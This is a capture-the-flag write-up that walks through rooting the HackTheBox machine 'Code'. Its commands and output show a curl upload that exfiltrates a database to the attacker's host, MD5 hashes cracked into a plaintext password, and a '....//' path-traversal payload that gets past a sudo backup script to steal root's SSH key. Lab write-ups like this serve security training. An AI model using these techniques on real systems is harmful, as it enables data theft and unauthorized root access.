HackTheBox | Code

In this writeup, I demonstrate how to gain root level access to Code on HackTheBox.

HackTheBox | Code
Owned Code from Hack The Box!
I have just owned machine Code from Hack The Box

Reconnaissance

Started off with an Nmap scan and specified the following options:

  • -sC to use default scripts
  • -sV to gather service/version information
  • -oA to save the output to a file
  • -p- to scan all TCP ports

Examining the results, there are only two open ports: TCP ports 22 and 5000.

┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~]
└──╼ [★]$ echo -e "\nexport target_ip=10.129.24.143\nexport target_domain=code.htb" >> ~/.bashrc 

┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~]
└──╼ [★]$ exec bash

┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code]
└──╼ [★]$ echo "$target_ip $target_domain" | sudo tee -a /etc/hosts

┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code]
└──╼ [★]$ sudo nmap -sC -sV -oA nmap/full.tcp -p- $target_ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-20 14:31 CDT
Nmap scan report for 10.129.24.143
Host is up (0.010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.54 seconds

Initial Access

Fuzzing a Python Code Editor

Before navigating to TCP port 5000, I started Burp Suite to proxy all the web traffic. With Burp Suite's built-in browser, I navigated to the open TCP port and was greeted with a Python Code Editor. I was able to run Python code, but when I tried to get a reverse shell, it was blocked due to the use of restricted keywords, specifically import. This prevented me from importing various modules to get command execution. If a module can't be loaded directly with import, can it be loaded indirectly?

Execution

Python Subclass Bypass

Python, by default, imports many modules into memory. Some of which can be abused. Once the modules are listed, it is possible to load them indirectly by referencing their index. The output in the browser is truncated; therefore, Burp Suite was used to view the entire output. After a bit of enumeration, I found a subclass of interest, subprocess.popen. This subclass can be abused to run system commands. However, before I can do that, I need to find its index, which is why I'm using a for loop. Once that is identified, I can call it indirectly and pass it the required arguments to get command execution.

Credential Access

Cracking Hashes in SQLite Database

Enumeration of the system led to the discovery of a SQLite database file. After transferring it to my Kali box, I was able to extract and crack the hashes. Due to password reuse, I was able to SSH into the target system with martin's credentials.

python3 -c 'import pty; pty.spawn("/bin/bash")'

app-production@code:~/app$ ls -latr
ls -latr
total 32
drwxr-xr-x 3 app-production app-production 4096 Aug 27  2024 static
drwxr-x--- 5 app-production app-production 4096 Sep 16  2024 ..
drwxr-xr-x 2 app-production app-production 4096 Feb 20 10:36 templates
-rw-r--r-- 1 app-production app-production 5230 Feb 20 12:07 app.py
drwxr-xr-x 2 app-production app-production 4096 Feb 20 12:07 __pycache__
drwxrwxr-x 6 app-production app-production 4096 Feb 20 12:10 .
drwxr-xr-x 2 app-production app-production 4096 Feb 20 12:32 instance

app-production@code:~/app$ cat app.py
cat app.py
from flask import Flask, render_template,render_template_string, request, jsonify, redirect, url_for, session, flash
from flask_sqlalchemy import SQLAlchemy
import sys
import io
import os
import hashlib

app = Flask(__name__)
app.config['SECRET_KEY'] = "7j4D5htxLHUiffsjLXB1z9GaZ5"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

app-production@code:~/app$ find / -name database.db 2>/dev/null
find / -name database.db 2>/dev/null
/home/app-production/app/instance/database.db

app-production@code:~/app$ file /home/app-production/app/instance/database.db
file /home/app-production/app/instance/database.db
/home/app-production/app/instance/database.db: SQLite 3.x database, last written using SQLite version 3031001
# Ran on Kali
┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code]
└──╼ [★]$ python3 -m uploadserver -d /tmp --basic-auth cspsec:026yucqqm0 8081
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

# Ran on target
app-production@code:~/app$ curl -X POST http://10.10.14.169:8081/upload -F 'files=@/home/app-production/app/instance/database.db' -u cspsec:026yucqqm0
<tion/app/instance/database.db' -u cspsec:026yucqqm0
┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code]
└──╼ [★]$ sqlite3 /tmp/database.db 
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .tables
code  user
sqlite> select * from user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be

┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code]
└──╼ [★]$ echo -e "759b74ce43947f5f4c91aeddc3e5bad3\n3de6f30c4a09c27fc71932bfc68474be" > hashes.txt

┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[~/my_data/Code]
└──╼ [★]$ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt 
development::development
martin::nafeelswordsmaster

Privilege Escalation

Abusing a Directory Traversal Vulnerability with Sudo

As always, one of the first things I do is list what the current user can run with sudo. Turns out martin can run a backup script. The script attempts to sanitize file paths to prevent a directory traversal attack. Fortunately, it does not do a good job at that. After a bit of trial and error, I was able to create a backup of the /root directory. After transferring that file to my Kali box, I was able to extract its contents and had access to root's SSH private key.

martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

martin@code:~$ cat /usr/bin/backy.sh
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"
martin@code:~$ cat ~/backups/task.json 
{
	"destination": "/home/martin/backups/",
	"multiprocessing": true,
	"verbose_log": false,
	"directories_to_archive": [
		"/home/app-production/app"
	],

	"exclude": [
		".*"
	]
}
martin@code:~$ cat > ~/root-exfil.json << EOF
> {
>    "destination": "/home/martin/",
>    "multiprocessing": true,
>    "verbose_log": true,
>    "directories_to_archive": [
>       "/home/../root"
>    ]
> }
> EOF
martin@code:~$ json_file=~/root-exfil.json
martin@code:~$ /usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file"
{
  "destination": "/home/martin/",
  "multiprocessing": true,
  "verbose_log": true,
  "directories_to_archive": [
    "/home/root"
  ]
}
martin@code:~$ cat > ~/root-exfil.json << EOF
> {
>    "destination": "/home/martin/",
>    "multiprocessing": true,
>    "verbose_log": true,
>    "directories_to_archive": [
>       "/home/....//root"
>    ]
> }
> EOF
martin@code:~$ /usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file"
{
  "destination": "/home/martin/",
  "multiprocessing": true,
  "verbose_log": true,
  "directories_to_archive": [
    "/home/../root"
  ]
}

martin@code:~$ sudo /usr/bin/backy.sh ~/root-exfil.json
2025/07/20 22:35:02 🍀 backy 1.2
2025/07/20 22:35:02 📋 Working with /home/martin/root-exfil.json ...
2025/07/20 22:35:02 💤 Nothing to sync
2025/07/20 22:35:02 📤 Archiving: [/home/../root]
2025/07/20 22:35:02 📥 To: /home/martin ...
2025/07/20 22:35:02 📦
tar: Removing leading `/home/../' from member names
/home/../root/
/home/../root/.local/
/home/../root/.local/share/
/home/../root/.local/share/nano/
/home/../root/.local/share/nano/search_history
/home/../root/.selected_editor
/home/../root/.sqlite_history
/home/../root/.profile
/home/../root/scripts/
/home/../root/scripts/cleanup.sh
/home/../root/scripts/backups/
/home/../root/scripts/backups/task.json
/home/../root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
/home/../root/scripts/database.db
/home/../root/scripts/cleanup2.sh
/home/../root/.python_history
/home/../root/root.txt
/home/../root/.cache/
/home/../root/.cache/motd.legal-displayed
/home/../root/.ssh/
/home/../root/.ssh/id_rsa
/home/../root/.ssh/authorized_keys
/home/../root/.bash_history
/home/../root/.bashrc
┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[/tmp]
└──╼ [★]$ scp martin@$target_ip:~/code_home_.._root_2025_July.tar.bz2 .
martin@10.129.106.143's password: 
code_home_.._root_2025_July.tar.bz2                                                                                                                                                                                         100%   13KB 606.4KB/s   00:00    

┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[/tmp]
└──╼ [★]$ mkdir /tmp/loot && tar -xvf code_home_.._root_2025_July.tar.bz2 -C /tmp/loot

┌─[us-dedivip-1]─[10.10.14.169]─[cspsec@htb-026yucqqm0]─[/tmp/loot/root/.ssh]
└──╼ [★]$ ssh -i id_rsa root@$target_ip

References